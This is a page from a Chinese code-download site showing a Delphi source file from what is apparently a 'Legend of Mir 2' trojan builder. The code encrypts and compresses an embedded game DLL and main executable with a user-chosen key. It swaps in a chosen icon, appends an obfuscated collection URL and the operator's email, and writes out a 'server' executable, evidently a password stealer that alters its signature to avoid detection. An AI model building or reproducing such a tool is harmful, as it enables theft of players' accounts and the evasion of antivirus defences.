⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit_frmmain.pas

📁 传奇2万能变形特征码+极度流畅版,以前vip买回来的,现在已经过时了
💻 PAS
字号:
unit Unit_FrmMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Classes, ExtCtrls, Menus;

type
  TFrmMain = class(TForm)
    SaveDialog1: TSaveDialog;
    Memo1: TMemo;
    Panel1: TPanel;
    Label3: TLabel;
    Button3: TButton;
    Edit_EncyMark: TEdit;
    Edit_MailAddress: TEdit;
    Image1: TImage;
    Button1: TButton;
    Label1: TLabel;
    procedure Button3Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FrmMain: TFrmMain;

implementation
uses
  Unit_Common,
  Unit_MyCyBuf,
  Lh5Unit2,
  Unit_FrmChooseIcon,
  Unit_ModifIconByStream;

{$R *.dfm}

procedure TFrmMain.Button3Click(Sender: TObject);
const
  AspUrl: string = 'http://www.abc.com/login.asp';
  iFileMark: integer = 98; {加密标志,和MainExe.dpr对应}
var
  i: integer;
  StrTemp, StrWrite: string;

  MyStreamHead, MyStreamOrg: TmemoryStream;
  MyStreamEncy, MyStreamPack: TMemoryStream;
  MyEncyStreamInfo: TEncyStreamInfo;
  EncyBuf: Unit_MyCyBuf.TBuf;
  iReadSize: integer;
  strInfo: string;
  iInfoLength: integer;
  iEncyMark, iCode: integer;
  MyRes: TResourceStream; {$R Head.Res}
begin
  if Trim(Edit_MailAddress.Text) = '' then
  begin
    Application.MessageBox('信箱不能为空,请重新输入!', Pchar(Application.Title), MB_ICONINFORMATION);
    Edit_MailAddress.SetFocus;
    Exit;
  end;
  if pos('@', Edit_MailAddress.Text) = 0 then
  begin
    Application.MessageBox('信箱格式不正确,请重新输入!', Pchar(Application.Title), MB_ICONINFORMATION);
    Edit_MailAddress.SetFocus;
    Exit;
  end;

  if Trim(Edit_EncyMark.Text) = '' then
  begin
    Application.MessageBox('变形数字不能为空,请重新输入!', Pchar(Application.Title), MB_ICONINFORMATION);
    Edit_EncyMark.SetFocus;
    Exit;
  end;

  Val(Trim(Edit_EncyMark.Text), iEncyMark, iCode);
  if iCode <> 0 then
  begin
    Application.MessageBox('变形数字必须为数字,请重新输入!', Pchar(Application.Title), MB_ICONINFORMATION);
    Edit_EncyMark.SetFocus;
    Exit;
  end;


  if SaveDialog1.Execute then
  begin

    MyStreamEncy := TMemoryStream.Create;
    MyStreamHead := TMemoryStream.Create;
    MyStreamOrg := TMemoryStream.Create;
    MyStreamPack := TMemoryStream.Create;
    MyRes := TResourceStream.Create(HInstance, 'SdkHead', 'exefile');
    MyRes.SaveToStream(MyStreamHead); // Cjt_SaveSdkHeadToStream(MyStreamHead);
    MyRes.Free;
    Cjt_ModifIconByStream(Image1.Picture.Icon, MyStreamHead);
    MyStreamHead.Seek(0, soFromEnd); //移动指针到尾部


    MyEncyStreamInfo.iEncyKey := iEncyMark;
    MyStreamOrg.Clear; MyStreamEncy.Clear; MyStreamPack.Clear;
    MyRes := TResourceStream.Create(HInstance, 'Mir2Dll', 'dllfile');
    MyRes.SaveToStream(MyStreamOrg); // Cjt_SaveMir2DllToStream(MyStreamOrg);
    MyRes.Free;

    MyStreamOrg.Position := 0;
    repeat
      iReadSize := MyStreamOrg.Read(EncyBuf, sizeof(EncyBuf));
      MyEncyBuf(EncyBuf, iReadSize, MyEncyStreamInfo.iEncyKey);
      MyStreamEncy.Write(EncyBuf, iReadSize);
    until MyStreamOrg.Position >= MyStreamOrg.Size;
    MyStreamEncy.Position := 0;
    LHACompress(MyStreamEncy, MyStreamPack);
    MyStreamPack.Position := 0;
    MyEncyStreamInfo.iPackSize := MyStreamPack.Size;
    MyStreamHead.CopyFrom(MyStreamPack, MyStreamPack.Size);
    MyStreamHead.Write(MyEncyStreamInfo, Sizeof(MyEncyStreamInfo));



    MyEncyStreamInfo.iEncyKey := iEncyMark;
    MyStreamOrg.Clear; MyStreamEncy.Clear; MyStreamPack.Clear;
    MyRes := TResourceStream.Create(HInstance, 'MainExe', 'exefile');
    MyRes.SaveToStream(MyStreamOrg); //  Cjt_SaveMainExeToStream(MyStreamOrg);
    MyRes.Free;

    MyStreamOrg.Position := 0;
    repeat
      iReadSize := MyStreamOrg.Read(EncyBuf, sizeof(EncyBuf));
      MyEncyBuf(EncyBuf, iReadSize, MyEncyStreamInfo.iEncyKey);
      MyStreamEncy.Write(EncyBuf, iReadSize);
    until MyStreamOrg.Position >= MyStreamOrg.Size;
    MyStreamEncy.Position := 0;
    LHACompress(MyStreamEncy, MyStreamPack);
    MyStreamPack.Position := 0;
    MyEncyStreamInfo.iPackSize := MyStreamPack.Size;
    MyStreamHead.CopyFrom(MyStreamPack, MyStreamPack.Size);
    MyStreamHead.Write(MyEncyStreamInfo, Sizeof(MyEncyStreamInfo));


    StrTemp := AspUrl + #13 + Trim(Edit_MailAddress.Text);
    StrWrite := '';
    for i := 1 to Length(StrTemp) do StrWrite := StrWrite + Chr(Ord(StrTemp[i]) - iFileMark);
    strInfo := StrWrite; 
    iInfoLength := Length(strInfo);
    MyStreamHead.Write(strInfo[1], iInfoLength);
    MyStreamHead.Write(iInfoLength, sizeof(iInfoLength));
    MyStreamHead.SaveToFile(SaveDialog1.FileName);


    MyStreamEncy.Free;
    MyStreamHead.Free;
    MyStreamOrg.Free;
    MyStreamPack.Free;
    Application.MessageBox('服务端生成完毕!', Pchar(Application.Title), MB_ICONINFORMATION);
  end;
end;

procedure TFrmMain.Button1Click(Sender: TObject);
begin
  if FrmChooseIcon.ShowModal = mrok then
    if not (FrmChooseIcon.Image1.Picture.Icon.Empty) then
      Image1.Picture.Icon.Assign(FrmChooseIcon.Image1.Picture.Icon);
end;

procedure TFrmMain.FormCreate(Sender: TObject);
begin
//使Edit1只接收数字
  SetWindowLong(Edit_EncyMark.Handle, GWL_STYLE, GetWindowLong(Edit_EncyMark.Handle, GWL_STYLE) or ES_NUMBER);
  Application.Title := '传奇2变形特征码+极度流畅终结版Build20040615';
  Caption := Application.Title;
  Edit_MailAddress.Clear;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -